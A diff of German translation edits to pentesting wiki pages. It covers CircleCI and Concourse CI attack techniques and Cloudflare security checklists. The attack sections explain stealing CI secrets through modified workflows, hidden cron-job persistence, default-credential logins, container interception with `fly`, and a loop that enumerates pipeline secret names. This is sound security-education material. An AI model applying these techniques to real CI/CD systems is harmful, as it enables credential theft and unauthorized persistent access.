 Durch Überprüfung des Codes können Sie **alle Geheimnisnamen** finden, die in jeder `.circleci/config.yml`-Datei **verwendet** werden. Sie können auch die **Kontextnamen** aus diesen Dateien abrufen oder sie in der Webkonsole überprüfen: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.

-#### Exfiltrieren von Projektgeheimnissen
+#### Exfiltration von Projektgeheimnissen

 > [!WARNING]
 > Um **ALLE** Projekt- und Kontext-**GEHEIMNISSE** zu **exfiltrieren**, müssen Sie **nur** **SCHREIBZUGRIFF** auf **nur 1 Repo** in der gesamten GitHub-Organisation haben (_und Ihr Konto muss Zugriff auf die Kontexte haben, aber standardmäßig kann jeder auf jeden Kontext zugreifen_).
@@ -163,7 +163,7 @@ jobs:
 - exfil-env:
 context: Test-Context
 ```
-Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und der **die Geheimnisse an eine externe Adresse exfiltriert**:
+Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und **die Geheimnisse an eine externe Adresse exfiltriert**:
 ```yaml
 version: 2.1

@@ -196,7 +196,7 @@ context: Test-Context

 #### Escape to Cloud

-**CircleCI** gibt Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\
+**CircleCI** bietet Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\
 Standardmäßig befinden sich ihre Maschinen in GCP, und anfangs werden Sie nichts Relevantes finden können. Wenn ein Opfer jedoch die Aufgaben auf **seinen eigenen Maschinen (möglicherweise in einer Cloud-Umgebung)** ausführt, könnten Sie einen **Cloud-Metadaten-Endpunkt mit interessanten Informationen darauf** finden.

 Beachten Sie, dass in den vorherigen Beispielen alles innerhalb eines Docker-Containers gestartet wurde, aber Sie können auch **bitten, eine VM-Maschine zu starten** (die möglicherweise unterschiedliche Cloud-Berechtigungen hat):
@@ -221,15 +221,15 @@ version: 19.03.13
 ```
 #### Persistenz

- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit dem Zugriff des Benutzers zuzugreifen.
+- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit den Benutzerzugriffsrechten zuzugreifen.
 - _https://app.circleci.com/settings/user/tokens_
 - Es ist möglich, **Projekttoken** zu erstellen, um auf das Projekt mit den dem Token gegebenen Berechtigungen zuzugreifen.
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
 - Es ist möglich, **SSH-Schlüssel** zu den Projekten hinzuzufügen.
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Kontext-Umgebungsvariablen** **leakt**.
- Oder sogar in einem Branch zu erstellen / einen bekannten Job zu modifizieren, der jeden Tag alle Kontext- und **Projektgeheimnisse** **leakt**.
- Wenn Sie ein GitHub-Besitzer sind, können Sie **unverifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren.
+- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Umgebungsvariablen** **leakt**.
+- Oder sogar in einem Branch einen bekannten Job zu erstellen/modifizieren, der jeden Tag alle **Kontext- und Projektheimlichkeiten** **leakt**.
+- Wenn Sie ein GitHub-Besitzer sind, können Sie **nicht verifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren.
 - Sie können eine **Befehlsinjektionsanfälligkeit** in einer bestimmten Aufgabe finden und **Befehle** über ein **Geheimnis** injizieren, indem Sie dessen Wert ändern.

 {{#include ../banners/hacktricks-training.md}}
@@ -2,7 +2,7 @@

 {{#include ../../banners/hacktricks-training.md}}

-In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jedes Abschnitts **analysieren:**
+In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**

 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>

@@ -45,20 +45,20 @@ Auf jeder Cloudflare-Seite:
 Überprüfen Sie bei jedem Cloudflare-Worker:

 - [ ] Die Trigger: Was löst den Worker aus? Kann ein **Benutzer Daten senden**, die vom Worker **verwendet** werden?
- [ ] In den **`Einstellungen`** überprüfen Sie auf **`Variablen`**, die **sensible Informationen** enthalten.
+- [ ] In den **`Einstellungen`** überprüfen, ob **`Variablen`** mit **sensiblen Informationen** vorhanden sind.
 - [ ] Überprüfen Sie den **Code des Workers** und suchen Sie nach **Schwachstellen** (insbesondere an Stellen, an denen der Benutzer die Eingabe verwalten kann).
 - Überprüfen Sie auf SSRFs, die die angegebene Seite zurückgeben, die Sie kontrollieren können.
 - Überprüfen Sie XSS, die JS innerhalb eines SVG-Bildes ausführen.
- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe gewonnen wurden. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie er aus der Benutzereingabe missbraucht werden könnte.
+- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe stammen. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie dies durch die Benutzereingabe missbraucht werden könnte.

 > [!WARNING]
-> Beachten Sie, dass ein **Worker standardmäßig eine URL** wie `<worker-name>.<account>.workers.dev` erhält. Der Benutzer kann es auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen.
+> Beachten Sie, dass einem **Worker standardmäßig eine URL** wie `<worker-name>.<account>.workers.dev` zugewiesen wird. Der Benutzer kann sie auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen.

 ## R2

 Überprüfen Sie bei jedem R2-Bucket:

- [ ] Konfigurieren Sie die **CORS-Richtlinie**.
+- [ ] **CORS-Richtlinie** konfigurieren.

 ## Stream

@@ -70,7 +70,7 @@ TODO

 ## Sicherheitszentrum

- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie **interessante Informationen** in Bezug auf die **Sicherheit** hervorheben werden.
+- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie interessante Informationen **sicherheitsrelevant** hervorheben.
 - [ ] Überprüfen Sie einfach diese Informationen auf Sicherheitsfehlkonfigurationen und interessante Infos.

 ## Turnstile
@@ -94,26 +94,26 @@ cloudflare-zero-trust-network.md
 ## Benachrichtigungen

 - [ ] Überprüfen Sie die **Benachrichtigungen.** Diese Benachrichtigungen werden für die Sicherheit empfohlen:
- `Nutzungsbasierte Abrechnung`
- `HTTP DDoS-Angriffsbenachrichtigung`
- `Layer 3/4 DDoS-Angriffsbenachrichtigung`
- `Erweiterte HTTP DDoS-Angriffsbenachrichtigung`
- `Erweiterte Layer 3/4 DDoS-Angriffsbenachrichtigung`
- `Flow-basiertes Monitoring: Volumetrischer Angriff`
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
 - `Route Leak Detection Alert`
- `Zugriff mTLS-Zertifikat-Ablaufbenachrichtigung`
- `SSL für SaaS-Custom-Hostnamen-Benachrichtigung`
- `Universelles SSL-Alert`
- `Script Monitor Neue Codeänderungserkennung-Benachrichtigung`
- `Script Monitor Neue Domain-Benachrichtigung`
- `Script Monitor Neue bösartige Domain-Benachrichtigung`
- `Script Monitor Neue bösartige Skript-Benachrichtigung`
- `Script Monitor Neue bösartige URL-Benachrichtigung`
- `Script Monitor Neue Skripte-Benachrichtigung`
- `Script Monitor Neues Skript überschreitet maximale URL-Längenbenachrichtigung`
- `Erweiterte Sicherheitsereignisbenachrichtigung`
- `Sicherheitsereignisbenachrichtigung`
- [ ] Überprüfen Sie alle **Ziele**, da es in den Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass die Webhook-URLs **HTTPS** verwenden.
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] Überprüfen Sie alle **Ziele**, da es in Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass Webhook-URLs **HTTPS** verwenden.
 - [ ] Als zusätzliche Überprüfung könnten Sie versuchen, eine **Cloudflare-Benachrichtigung** an eine dritte Partei zu **imitieren**, vielleicht können Sie irgendwie **etwas Gefährliches injizieren**.

 ## Konto verwalten
@@ -125,7 +125,7 @@ cloudflare-zero-trust-network.md
 - [ ] In Members ist es möglich zu überprüfen, welche **Mitglieder** **2FA aktiviert** haben. **Jeder** Benutzer sollte es aktiviert haben.

 > [!NOTE]
-> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Berechtigungen erhöhen oder** neue Mitglieder einladen).
+> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Privilegien erhöhen oder** neue Mitglieder einladen).

 ## DDoS-Untersuchung

@@ -1,8 +1,8 @@
-# Cloudflare Domains
+# Cloudflare-Domains

 {{#include ../../banners/hacktricks-training.md}}

-In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
+In jeder TLD, die in Cloudflare konfiguriert ist, gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**

 <figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>

@@ -20,7 +20,7 @@ In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellun
 - [ ] Überprüfen Sie **interessante** (sensible?) Daten in den DNS-**Einträgen**
 - [ ] Überprüfen Sie auf **Subdomains**, die **sensible Informationen** nur basierend auf dem **Namen** enthalten könnten (wie admin173865324.domin.com)
 - [ ] Überprüfen Sie auf Webseiten, die **nicht** **proxied** sind
- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die **direkt** über CNAME oder IP-Adresse **zugänglich** sind
+- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die direkt über CNAME oder IP-Adresse **zugänglich** sind
 - [ ] Überprüfen Sie, dass **DNSSEC** **aktiviert** ist
 - [ ] Überprüfen Sie, dass **CNAME Flattening** in **allen CNAMEs** **verwendet** wird
 - Dies könnte nützlich sein, um **Subdomain-Übernahmeanfälligkeiten** zu **verbergen** und die Ladezeiten zu verbessern
@@ -38,7 +38,7 @@ TODO

 #### **Übersicht**

- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird irgendwann **Klartextverkehr** senden.
+- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird zu einem bestimmten Zeitpunkt **Klartextverkehr** senden.
 - [ ] Der **SSL/TLS-Empfehlungsdienst** sollte aktiviert sein

 #### Edge-Zertifikate
@@ -52,7 +52,7 @@ TODO

 ### **Sicherheit**

- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall** und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
+- [ ] Im **`WAF`**-Bereich ist es interessant zu überprüfen, ob **Firewall**- und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
 - Die **`Bypass`**-Aktion wird die **Cloudflare-Sicherheits**-Funktionen für eine Anfrage **deaktivieren**. Sie sollte nicht verwendet werden.
 - [ ] Im **`Page Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine Seite verwendet wird
 - [ ] Im **`API Shield`**-Bereich wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine API in Cloudflare exponiert ist
@@ -65,17 +65,17 @@ TODO

 #### **CloudFlare DDoS-Schutz**

- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert (z. B. von einer JS-Frontend-Seite) schützen, können Sie dies möglicherweise nicht aktivieren, ohne den Zugriff zu beeinträchtigen.
+- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API programmgesteuert schützen (zum Beispiel von einer JS-Frontend-Seite). Möglicherweise können Sie dies nicht aktivieren, ohne den Zugriff zu unterbrechen.
 - In **WAF**: Sie können **Ratenlimits nach URL-Pfad** oder für **verifizierte Bots** (Ratenbegrenzungsregeln) erstellen oder den **Zugriff** basierend auf IP, Cookie, Referrer... **blockieren**. So könnten Sie Anfragen blockieren, die nicht von einer Webseite stammen oder kein Cookie haben.
 - Wenn der Angriff von einem **verifizierten Bot** kommt, fügen Sie mindestens ein **Ratenlimit** für Bots hinzu.
 - Wenn der Angriff auf einen **bestimmten Pfad** abzielt, fügen Sie als Präventionsmechanismus ein **Ratenlimit** in diesem Pfad hinzu.
 - Sie können auch IP-Adressen, IP-Bereiche, Länder oder ASNs aus den **Tools** in WAF **whitelisten**.
 - Überprüfen Sie, ob **verwaltete Regeln** auch helfen könnten, um die Ausnutzung von Schwachstellen zu verhindern.
 - Im **Tools**-Bereich können Sie **bestimmte IPs** und **Benutzeragenten blockieren oder eine Herausforderung stellen.**
- In DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert ist**.
- In Cloudflare Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
- In Cloudflare Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **entdeckte bösartige Ereignisse**
+- Bei DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
+- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert** ist.
+- In Cloudflare-Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
+- In Cloudflare-Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **erfasste bösartige Ereignisse**

 ### Zugriff

@@ -85,7 +85,7 @@ cloudflare-zero-trust-network.md

 ### Geschwindigkeit

-_Ich konnte keine Option im Zusammenhang mit Sicherheit finden_
+_Ich konnte keine Option finden, die mit Sicherheit zu tun hat_

 ### Caching

@@ -120,7 +120,7 @@ TODO
 ### Scrape Shield

 - [ ] Überprüfen Sie, ob die **E-Mail-Adressenobfuskation** **aktiviert** ist
- [ ] Überprüfen Sie, ob die **Serverseitigen Ausschlüsse** **aktiviert** sind
+- [ ] Überprüfen Sie, ob die **Server-seitigen Ausschlüsse** **aktiviert** sind

 ### **Zaraz**

@@ -32,13 +32,13 @@ Bei jeder Anwendung:

 #### **Access Groups**

- [ ] Überprüfen, dass die generierten Zugriffsgruppen **korrekt auf die Benutzer beschränkt** sind, die sie zulassen sollten.
+- [ ] Überprüfen, dass die generierten Zugriffgruppen **korrekt auf die Benutzer** beschränkt sind, die sie zulassen sollten.
 - [ ] Es ist besonders wichtig zu überprüfen, dass die **Standardzugriffsgruppe nicht zu offen** ist (sie **erlaubt nicht zu viele Personen**), da standardmäßig jeder in dieser **Gruppe** auf **Anwendungen** zugreifen kann.
 - Beachten Sie, dass es möglich ist, **Zugriff** für **JEDEN** und andere **sehr offene Richtlinien** zu gewähren, die nicht empfohlen werden, es sei denn, es ist 100% notwendig.

 #### Service Auth

- [ ] Überprüfen, dass alle Servicetoken **in 1 Jahr oder weniger ablaufen**
+- [ ] Überprüfen, dass alle Diensttoken **in 1 Jahr oder weniger ablaufen**

 #### Tunnels

@@ -22,9 +22,9 @@ Erfahren Sie, wie Sie eine Concourse-Umgebung lokal ausführen können, um Ihre
 concourse-lab-creation.md
 {{#endref}}

-## Enumerieren & Angreifen von Concourse
+## Concourse auflisten & angreifen

-Erfahren Sie, wie Sie die Concourse-Umgebung enumerieren und missbrauchen können in:
+Erfahren Sie, wie Sie die Concourse-Umgebung auflisten und missbrauchen können in:

 {{#ref}}
 concourse-enumeration-and-attacks.md
@@ -20,16 +20,16 @@ Die Verantwortung des [Checkers](https://concourse-ci.org/checker.html) besteht

 Die TSA ist ein **maßgeschneiderter SSH-Server**, der ausschließlich zur sicheren **Registrierung** von [**Workern**](https://concourse-ci.org/internals.html#architecture-worker) beim [ATC](https://concourse-ci.org/internals.html#component-atc) verwendet wird.

-Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleichsgerät platziert.
+Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleich platziert.

 Die **TSA implementiert CLI über die SSH-Verbindung** und unterstützt [**diese Befehle**](https://concourse-ci.org/internals.html#component-tsa).

 #### Worker

-Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich selbst** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.
+Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.

- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** ausgeführt wird.
- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** ausgeführt wird.
+- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** läuft.
+- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** läuft.

 ## Referenzen

@@ -10,12 +10,12 @@ Concourse kommt mit fünf Rollen:

 - _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden.
 - **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**.
- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Teamressourcen**, können jedoch die Teameinstellungen nicht ändern.
+- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Team-Ressourcen**, können jedoch die Teameinstellungen nicht ändern.
 - **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren.
 - **viewer**: Team-Zuschauer haben **"Nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.

 > [!NOTE]
-> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer geändert werden**, indem RBAC konfiguriert wird (genauer gesagt, dessen Aktionen). Lesen Sie mehr darüber unter: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer** durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)

 Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher können Benutzer, die zu einem Team gehören, diese Pipelines verwalten, und **mehrere Teams** können existieren. Ein Benutzer kann mehreren Teams angehören und unterschiedliche Berechtigungen in jedem von ihnen haben.

@@ -24,7 +24,7 @@ Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher
 In den YAML-Konfigurationen können Sie Werte mit der Syntax `((_source-name_:_secret-path_._secret-field_))` konfigurieren.\
 [Aus den Dokumenten:](https://concourse-ci.org/vars.html#var-syntax) Der **source-name ist optional**, und wenn er weggelassen wird, wird der [clusterweite Credential Manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) verwendet, oder der Wert kann [statisch](https://concourse-ci.org/vars.html#static-vars) bereitgestellt werden.\
 Das **optionale \_secret-field**\_ gibt ein Feld im abgerufenen Geheimnis an, das gelesen werden soll. Wenn es weggelassen wird, kann der Credential Manager wählen, ein 'Standardfeld' aus dem abgerufenen Credential zu lesen, wenn das Feld existiert.\
-Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben werden, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen.
+Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben sein, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen.

 #### Statische Vars

@@ -34,12 +34,12 @@ Statische Vars können in **Aufgaben-Schritten** angegeben werden:
 file: booklit/ci/unit.yml
 vars: { tag: 1.13 }
 ```
-Or using the following `fly` **arguments**:
+Oder verwenden Sie die folgenden `fly` **Argumente**:

- `-v` or `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren.
- `-l` or `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle.
+- `-v` oder `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
+- `-y` oder `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
+- `-i` oder `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), um mehr über Instanzvariablen zu erfahren.
+- `-l` oder `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das die Zuordnung von Variablennamen zu Werten enthält, und setzt sie alle.

 #### Credential Management

@@ -57,15 +57,15 @@ Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
 - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)

 > [!CAUTION]
-> Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
+> Beachten Sie, dass Sie, wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.

 ### Concourse Enumeration

 Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmeldeinformationen sammeln** oder ein **authentifiziertes Token** finden, wahrscheinlich in einer `.flyrc`-Konfigurationsdatei.

-#### Login und aktueller Benutzer enum
+#### Login und aktuelle Benutzer-Enumeration

- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört** kennen:
+- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört**, kennen:
 - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
 - Konfigurierte **Ziele** abrufen:
 - `fly targets`
@@ -75,7 +75,7 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde
 - `fly -t <target> userinfo`

 > [!NOTE]
-> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine ausrauben, könnten Sie dort die Anmeldeinformationen finden.
+> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie Maschinen durchsuchen, könnten Sie dort die Anmeldeinformationen finden.

 #### Teams & Benutzer

@@ -90,11 +90,11 @@ Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmelde

 - **Liste** der Pipelines:
 - `fly -t <target> pipelines -a`
- **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden):
+- **Pipeline-YAML abrufen** (**sensible Informationen** könnten in der Definition gefunden werden):
 - `fly -t <target> get-pipeline -p <pipeline-name>`
 - Alle **konfigurierten Variablen** der Pipeline abrufen
 - `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Alle **Namen der verwendeten Geheimnisse in den Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren):
+- Alle **geheimen Namen der Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container hijacken können, könnten Sie sie exfiltrieren):
 ```bash
 rm /tmp/secrets.txt;
 for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -118,18 +118,18 @@ rm /tmp/secrets.txt

 ### Concourse Angriffe

-#### Brute-Force von Anmeldeinformationen
+#### Credentials Brute-Force

 - admin:admin
 - test:test

-#### Aufzählung von Geheimnissen und Parametern
+#### Aufzählung von Secrets und Parametern

-Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**.
+Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Secrets wird später nützlich sein, um zu versuchen, sie zu stehlen**.

 #### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers

-Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
+Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
 ```bash
 fly -t tutorial intercept --job pipeline-name/job-name
 fly -t tutorial intercept # To be presented a prompt with all the options
@@ -138,11 +138,11 @@ Mit diesen Berechtigungen könnten Sie in der Lage sein:

 - **Die Geheimnisse** im **Container** zu stehlen
 - Versuchen, zum Knoten zu **entkommen**
- Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
+- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)

 #### Pipeline-Erstellung/-Änderung

-Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel:
+Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel:
 ```yaml
 jobs:
 - name: simple
@@ -168,14 +168,14 @@ SUPER_SECRET: ((super.secret))
 ```
 Mit der **Änderung/Erstellung** einer neuen Pipeline können Sie:

- **Geheime Informationen stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen)
